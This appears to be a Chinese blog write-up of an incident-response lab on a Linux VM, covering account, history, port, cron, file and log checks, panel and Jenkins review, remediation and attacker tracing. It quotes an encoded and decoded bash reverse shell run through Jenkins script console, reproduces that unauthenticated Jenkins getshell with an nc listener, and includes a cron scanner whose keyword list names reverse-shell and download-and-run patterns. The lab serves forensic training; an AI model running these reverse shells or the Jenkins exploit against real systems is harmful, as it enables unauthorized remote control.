当前位置:首页>Linux>应急响应打靶--Linux溯源

应急响应打靶--Linux溯源

  • 2026-10-11 07:42:54
应急响应打靶--Linux溯源

免责声明

本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!

靶机资源:
网盘下载:https://pan.quark.cn/s/4b6dffd0c51a#/list/share
需要注意:应急,没有所谓的标准流程
用户名密码:zgsfsys/zgsfsys
登录进去第一眼看到了passwords.txt文件,里面是三个地址,需要先记录下
passwords.txt:https://127.0.0.1:15493/c536062cusername: fidiyixbpassword: 0f48abfdhttp://127.0.0.1:6631/username: adminpassword: BnGDPepT3P4BsxRhttp://127.0.0.1:6565/username: adminpassword: admin148849464348

登录信息查询

假设,黑客已经入侵这台服务器了,我们第一步要做的是什么呢?

查看用户?查看日志?查看进程?直接拿脚本、工具去扫?

不,都不是

第一步,最主要的是现在都有哪些人在登录,比如黑客是否在进行其他操作,如果当时黑客正在连接服务器,先ban掉黑客的IP以及连接,在做其他操作,不然一切都是无用功

w:查看系统信息,用于显示某一时刻用户的行为

  • USER: 登录帐号

  • TTY : 终端名称

  • FROM: 远程主机名

  • LOGIN@: 登录时间

  • IDLE: 空闲时间

  • JCPU: 该TTY终端连接的所有进程的占用时间

  • PCPU: 当前进程(即w项中显示的)的占用时间

  • WHAT: 当前正在运行进程的命令行

who:查看当前登录用户(tty本地登录  pts远程登录)

last:用于显示用户最近登录信息

可疑用户
查看是否有可疑账户:cat /etc/passwd
可以看出:zgsfsys:安装系统时创建的主登录用户jenkins:安装 Jenkins 服务时自动创建的用户www:存在web网站,额外创建的用户smnta:安装 Sendmail 服务时创建的邮件传输代理用户smmsp:安装 Sendmail 服务时创建的邮件提交程序用户mysql:安装 MySQL 服务时自动创建的用户

查询特权用户特权用户(uid 为0):awk -F: '$3==0{print $1}' /etc/passwd

  • 正常情况下输出内容只有root,如果存在其他用户,需要注意

查询可以远程登录的账号信息(普通账户没权限):awk '/\$1|\$6/{print $1}' /etc/shadow

cat /etc/passwd|grep "/bin/bash"
除root账号外,zgsfsys和jenkins用户都可以进行远程登录
查询其他账号是否存在sudo权限(如非管理需要,普通帐号应删除sudo权限):more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
普通账户没权限查看
  • admin用户组存在sudo权限

  • cat /etc/group|grep admin

  • 既然不在admin组,为什么可以sudo?

  • groups zgsfsys

  • 可以看到,zgsfsys有两个组:sudo和lpadmin组

  • grep -E "^%sudo|^%admin" /etc/sudoers

  • 所以这里拥有sudo权限很合理(当然普通用户建议不要提供sudo权限)

如果存在可疑账号,需要禁用或删除:
  • usermod -L user:禁用帐号,帐号无法登录,在etc/shadow第二栏为!开头

  • userdel user:删除user用户

  • userdel -r user:将删除user用户,并且将/home目录下的user目录一并删除

历史命令
通过历史命令,可判断出攻击者做了哪些操作,根据这些操作进一步分析入侵者
root的历史命令:history    #这里root用户不知道密码,只能修改密码查看
其他用户的历史命令:打开/home各账号目录下的.bash_history
得出以下结论:安装了jenkins、1panel、宝塔,存在docker服务,出现IP:192.168.11.129,反弹shellprintln "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash ".execute().textjenkins命令执行语句解码之后:println "echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash ".execute().textecho YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash解码之后:echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash
如何为历史命令增加登录的IP地址、执行命令时间等信息:
需要注意:之前的历史命令执行时间,是当前修改配置并生效的时间,而不是之前实际攻击的实际
1)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3)source /etc/profile让配置生效
  • 之后查看历史命令就会出现时间了
如果黑客执行了history -c,如何恢复?
方法:

1. 查看磁盘上永久保存的所有历史命令(直接看文件)

cat ~/.bash_history

2. 把文件命令重新加载回内存(执行后 history 命令就能看见了)

history -r ~/.bash_history

什么情况下,命令无法找回?
  • 执行 history -c(清空内存)

  • 执行 history -w(用空内存覆盖磁盘文件)

异常端口

查看有没有异常端口

netstat -anptu

查看pid所对应的进程文件路径:ls -l /proc/$PID/exe($PID 为对应的pid 号)

  • 那么这么多端口,我怎么知道这些端口对应的哪些服务呢?
    • 使用命令:sudo netstat -tulnp | grep 端口号
  • 那么知道是哪个程序了,怎么知道这个程序的路径呢?
    • 使用命令:ps -ef | grep PID
这里只演示一个程序的用法:
那么我不可能一个一个去看,太浪费时间了,接下来使用脚本:
#!/bin/bash# 彻底修复版:解决TCP/UDP列数差异导致的UDP PID识别失败问题# 颜色配置GREEN="\033[0;32m"YELLOW="\033[1;33m"BLUE="\033[0;34m"RED="\033[0;31m"NC="\033[0m"clearprintf "${BLUE}==================== netstat -anptu 全量端口一览(终极修复版) ====================${NC}\n"printf "${GREEN}协议 |  端口  |  状态   |  PID  |  进程名  |        程序绝对路径${NC}\n"printf "${GREEN}----------------------------------------------------------------------${NC}\n"# 核心:用awk区分TCP/UDP列数,避免错位sudo netstat -anptu | tail -n +3 | grep -v "unix" | awk '{    proto = $1;    local = $4;    foreign = $5;    # 区分TCP/UDP,处理列数差异    if (proto ~ /tcp|tcp6/) {        state = $6;        pid_proc = $7;    } else if (proto ~ /udp|udp6/) {        state = "---";  # UDP无状态        pid_proc = $6;    } else {        next;    }    # 提取端口(兼容0.0.0.0:xxx、:::xxx格式)    split(local, parts, /:/);    port = parts[length(parts)];    if (port !~ /^[0-9]+$/) next;    # 输出给shell处理    print proto, port, state, pid_proc;}' | while read proto port state pid_proc; do    # 提取PID(兼容所有格式,如887/avahi-daemon: r)    pid=$(echo "$pid_proc" | grep -oE '^[0-9]+')    pname=$(echo "$pid_proc" | cut -d/ -f2- | sed 's/:.*//; s/ .*//')    # 获取程序绝对路径    if [[ "$pid" =~ ^[0-9]+$ ]]; then        path=$(sudo lsof -p "$pid" 2>/dev/null | grep txt | awk '{print $9}' | head -1)        if [ -z "$path" ]; then            path="${RED}无权限/内核进程${NC}"        fi    else        path="${RED}无PID${NC}"        pid="---"        pname="---"    fi    # 格式化输出    printf "%-4s | %-5s | %-7s | %-4s | %-8s | %b\n" "$proto" "$port" "$state" "$pid" "$pname" "$path"doneprintf "${BLUE}======================================================================${NC}\n"printf "${YELLOW}说明:已修复TCP/UDP列数差异,UDP端口PID可正常识别${NC}\n"
从这里可以看出有哪些进程:python3nginxsendmailcontainerdpure-ftpdcupsdjava-openjdkmysqldavahi-daemon
异常进程

查看有没有异常进程

ps aux
top
开机自启动

查看有没有异常的开机启动项

/etc/rc.local

ll -a /etc/rc[0~6].d

运行级别
含义
0
关机
1
单用户模式,可以想象为windows的安全模式,主要用于系统修复
2
不完全的命令行模式,不含NFS服务
3
完全的命令行模式,就是标准字符界面
4
系统保留
5
图形模式
6
重启动
计划任务

查看有没有异常的计划任务

crontab -l

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

重点关注以下目录中是否存在恶意脚本:

/var/spool/cron/* /etc/crontab/etc/cron.d/*/etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*
小技巧:
more /etc/cron.daily/*  查看目录下所有文件
脚本(可根据情况进行DIY):
#!/bin/bash# 功能:一键检查所有Cron相关目录中的恶意脚本 + 风险明细汇总# 用法:sudo ./check_cron_malware.sh# 颜色定义RED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[1;33m'BLUE='\033[0;34m'NC='\033[0m' # 重置颜色# 1. 定义需要检查的Cron路径列表CRON_PATHS=(    "/var/spool/cron/*"    "/etc/crontab"    "/etc/cron.d/*"    "/etc/cron.daily/*"    "/etc/cron.hourly/*"    "/etc/cron.monthly/*"    "/etc/cron.weekly/*"    "/etc/anacrontab"    "/var/spool/anacron/*")# 2. 定义恶意/可疑关键词HIGH_RISK_KEYWORDS=(    "bash -i" "/dev/tcp/" "/dev/udp/" "nc " "ncat " "telnet "    "wget -O-" "curl | " "curl -sL |" "wget | bash" "curl | bash"    "base64 -d" "eval " "exec " "rm -rf /" "chmod 777"    "/tmp/" "/dev/shm/" "/var/tmp/")MEDIUM_RISK_KEYWORDS=(    "nohup " "setsid " " &>/dev/null" ">/dev/null 2>&1" "crontab -r"    "crontab -l" "crontab -e" "*/1 * * * *" "*/5 * * * *")# 3. 初始化统计 & 风险明细数组TOTAL_FILES=0HIGH_RISK_COUNT=0MEDIUM_RISK_COUNT=0# 新增:存储风险明细(文件|行号|内容)HIGH_RISK_LIST=()MEDIUM_RISK_LIST=()# 4. 打印标题clearecho -e "${BLUE}=================================================="echo -e "          Cron 恶意脚本一键检查工具"echo -e "==================================================${NC}"echo -e "${YELLOW}检查路径列表:${NC}"for path in "${CRON_PATHS[@]}"; do    echo -e "  - $path"doneecho -e "${BLUE}==================================================${NC}\n"# 5. 遍历所有路径,检查文件for path_pattern in "${CRON_PATHS[@]}"; do    for file in $path_pattern; do        if [ ! -e "$file" ]; then continue; fi        if [ -d "$file" ]; then            echo -e "${YELLOW}[!] 跳过目录:$file${NC}"            continue        fi        ((TOTAL_FILES++))        echo -e "${GREEN}[+] 正在检查文件:$file${NC}"        echo -e "----------------------------------------"        content=$(sudo cat "$file" 2>/dev/null)        if [ $? -ne 0 ]; then            echo -e "${RED}  无法读取文件(权限不足)${NC}"            echo ""            continue        fi        line_num=0        while IFS= read -r line; do            ((line_num++))            line_printed=false            risk_type=""            # 检查高风险            for keyword in "${HIGH_RISK_KEYWORDS[@]}"; do                if echo "$line" | grep -q "$keyword"; then                    echo -e "${RED}  第$line_num行 [高风险]:$line${NC}"                    ((HIGH_RISK_COUNT++))                    HIGH_RISK_LIST+=("$file|$line_num|$line")                    line_printed=true                    break                fi            done            # 检查中风险            if [ "$line_printed" = false ]; then                for keyword in "${MEDIUM_RISK_KEYWORDS[@]}"; do                    if echo "$line" | grep -q "$keyword"; then                        echo -e "${YELLOW}  第$line_num行 [中风险]:$line${NC}"                        ((MEDIUM_RISK_COUNT++))                        MEDIUM_RISK_LIST+=("$file|$line_num|$line")                        line_printed=true                        break                    fi                done            fi            # 正常行            if [ "$line_printed" = false ]; then                echo -e "  第$line_num行:$line"            fi        done <<< "$content"        echo -e "----------------------------------------\n"    donedone# 6. 基础检查报告echo -e "${BLUE}=================================================="echo -e "                检查报告"echo -e "=================================================="echo -e "  检查文件总数:${TOTAL_FILES}"echo -e "  高风险可疑项:${RED}${HIGH_RISK_COUNT}${NC}"echo -e "  中风险可疑项:${YELLOW}${MEDIUM_RISK_COUNT}${NC}"echo -e "${BLUE}==================================================${NC}"# 7. 【新增】风险明细汇总(核心功能)echo -e "\n${BLUE}=================================================="echo -e "              风险明细汇总表"echo -e "==================================================${NC}"# 汇总高风险if [ ${#HIGH_RISK_LIST[@]} -gt 0 ]; then    echo -e "\n${RED}🔴 高风险明细:${NC}"    echo -e "--------------------------------------------------"    for item in "${HIGH_RISK_LIST[@]}"; do        IFS='|' read -r fpath line content <<< "$item"        echo -e "📄 文件:$fpath"        echo -e "🚩 行号:第 $line 行"        echo -e "⚠️  内容:$content"        echo -e "--------------------------------------------------"    doneelse    echo -e "\n${GREEN}✅ 无高风险项${NC}"fi# 汇总中风险if [ ${#MEDIUM_RISK_LIST[@]} -gt 0 ]; then    echo -e "\n${YELLOW}🟡 中风险明细:${NC}"    echo -e "--------------------------------------------------"    for item in "${MEDIUM_RISK_LIST[@]}"; do        IFS='|' read -r fpath line content <<< "$item"        echo -e "📄 文件:$fpath"        echo -e "🚩 行号:第 $line 行"        echo -e "⚠️  内容:$content"        echo -e "--------------------------------------------------"    doneelse    echo -e "\n${GREEN}✅ 无中风险项${NC}"fiecho -e "\n${BLUE}==================================================${NC}"if [ $HIGH_RISK_COUNT -gt 0 ]; then    echo -e "${RED}[!] 警告:发现高风险内容,请立即排查处理!${NC}"else    echo -e "${GREEN}[+] 检查完成,系统Cron任务相对安全${NC}"fi
异常文件
  • 查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性

  • 得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

    • 可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

  • 针对可疑文件可以使用stat进行创建修改时间。

  • 查找某段时间内创建的文件(btime):
    find / -type f -exec stat --format '%W %n' {} \; 2>/dev/null | awk -v start="$(date -d '2024-03-18 00:00:00' +%s)" -v end="$(date -d '2024-03-19 23:59:59' +%s)" '$1 != "0" && $1 >= start && $1 <= end {print $2}'
  • 查找某段时间内修改的文件(mtime):

    find / -type f -newermt "2024-03-18 00:30:00" ! -newermt "2024-03-20 15:28:00" 2>/dev/null
  • 查找某段时间访问的文件(atime):

    find / -type f -newerat "2024-03-18 00:30" ! -newerat "2024-03-20 15:28" 2>/dev/null
  • 查找某段时间内修改属性的文件(ctime):

    find / -type f -newerct "2024-03-18 00:30" ! -newerct "2024-03-20 15:28" 2>/dev/null
/tmp目录:
遇到不认识的jar包,怎么办?
百度或者AI
/目录:发现1文件,里面是反弹shell命令
/root目录:发现frp程序,攻击者访问156.66.33.66:6000即可连接ssh服务
系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件
说明
/var/log/cron
记录了系统定时任务相关的日志
/var/log/cups
记录打印信息的日志
/var/log/dmesg
记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog
记录邮件信息
/var/log/message
记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp
记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog
记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp
永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp
记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure
记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
分析技巧:1、定账位有多少IP在爆破主机的root账号:    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破:grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么? grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些:     grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP:grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 

需要注意:

  • centos使用的是:/var/log/secure

  • ubuntu使用的是:/var/log/auth.log

这里查不到有用的信息

火狐浏览器历史记录排查
火狐历史记录:宝塔面板:127.0.0.1:15493Discuz论坛、管理中心、登录、安装:127.0.0.1:6565GitLab:127.0.0.1:8090程序员的小破绽、WordPress:127.0.0.1:6631Jekins:192.168.11.136:8080
其中宝塔面板、Discuz论坛、程序员的小破绽在桌面passwrd.txt文件出现过
宝塔排查
默认存储账号密码
两个网站,分别为DIscuz和WordPress,端口分别为6565和6631
存在FTP
存在两个数据库,分别为DIscuz和WordPress程序的数据库,这里可直接得到两个数据库的用户名密码、root密码、可访问Phpstudy页面,MySQL版本为5.6.50
可直接操作目录
可查看操作日志
网站日志使用shell命令查看吧
无法可以直接连接ssh,需要密码
宝塔页面可得出:默认存储账号密码存在两个网站,分别为DIscuz和WordPress,端口分别为6565和6631存在FTP存在两个数据库,分别为DIscuz和WordPress程序的数据库,这里可直接得到两个数据库的用户名密码、root密码、可访问Phpstudy页面,MySQL版本为5.6.50可直接操作目录可查看操作日志无法可以直接连接ssh,需要密码

Discuz论坛排查

默认存储账号密码
日志路径:/www/wwwroot/0.0.0.0_6565/data/log
可以看到202409_errorlog.php日志中看到三条拦截日志,攻击IP都是192.168.11.129
第一条:ThinkPHP命令执行,这里没有ThinkPHP框架
第二条:wget下载(现在竟然还能访问)
第三条:登录

GitLab排查

地址无法访问,docker一直启动失败
程序员的小破绽排查
没有日志,无法排查

Jekins

默认不需要账号密码,可直接访问
那么有没有可能是未授权,这个最后验证
然后百度查下Jekins有什么漏洞,查询到存在未授权+getshell漏洞
之前的步骤中发现了反弹shell命令,这里我们也验证下
之后攻击者启动监听:nc -lvvp 1333
执行命令:Runtime.getRuntime().exec(["bash","-c","bash -i >& /dev/tcp/127.0.0.1/1333 0>&1"] as String[])

成功拿到了root权限,之后的步骤就很简单了,攻击者写了个1文件,然后进行反弹shell

然后配置IP,在其他机器访问

发现确实存在未授权(可直接访问,无账号密码)

IP朔源

反弹shell:反弹的是内网IP

FRP程序:156.66.33.66

后续步骤没有了,因为后续涉及到GitHub溯源,但是GitHub文件被删除了

入侵流程

日志有限,而且这里主要是溯源,所以看不上什么有用的信息入口点:Jekins未授权+getshell,得到root权限,时间未知Discuz论坛,192.168.11.129内网IP进行了恶意操作,时间:2024.09.20 05:44:15/1文件(反弹shell),最后一次被修改时间:2024.9.20 06:08:55chuantou文件夹(frp配置),最后一次被修改时间:2024.9.20 06:28:34

修复

  • 桌面:passwords.txt删除掉

  • 用户:非必要不要给登录权限,不要给远程登录权限

  • 删除/1文件、/root/chuantou文件夹

  • WEB网站:

    • 漏洞修复:Discuz论坛、GitLab、程序员的小破绽、Wordpress、Jekins此版本是否存在其他漏洞

    • 密码修改:修改宝塔、Discuz、Wordpress、MySQL密码(建议修改,不确定是否入侵进去)

    • FTP服务:是否需要

  • 密码:修改宝塔root、zgsfsys密码

  • 进行常规安全检查、杀毒,进行全面主机排查

  • 配置防火墙,设置规则

报告书写
  • 网上找模板

  • 公司有特定模板

  • 使用工具生成(只是入侵检测,无后续善后工作,如果需要善后工作需要自己补充)

    • https://github.com/s1g0day/ReportGenX

    • 如果需要溯源,需要自己单独加一个溯源的章节,大概写一下怎么溯源的就行

溯源

这个东西,说简单也简单,说难也难,主要是自己的思维是否足够广
就像我们要在网上买东西一样,首先,我们需要确定目标,然后根据这个目标去范围性的搜索,比如各大平台等,也可以咨询身边的朋友这个东西是否好用,最后呢,再自己整合下信息,得到最终结论
而我们溯源也是一样的,知道了攻击IP,然后就需要自己去拓展了,一个IP能拓展多少东西,也跟自己的思维有关(比如IP拓展到了邮箱,这个邮箱又拓展到了另外一个IP,之后还需要在另外一个IP中进行拓展,反反复复,直到尽头)
  • IP是否备案、是否有域名、IP注册信息等
  • IP以及IP拓展内容在各大威胁情报中是否能搜索到有用信息
  • IP以及IP拓展内容在搜索引擎中是否能搜索到有用信息
  • IP以及IP拓展内容在各大网站(如技术网站)中是否能搜索到有用信息
  • IP以及IP拓展内容是否有社交信息(如技术圈)
  • 最后把所有信息整合一下,进行人物画像,看看是否能得到有价值的信息
  • 当然,溯源很枯燥,需要细心更需要耐心,如果不能沉下心来溯源,不能进行深层次的拓展,那成功的几率很低(而且也不是100%成功,主要看攻击者留下的信息是否足够多)

最新文章

随机文章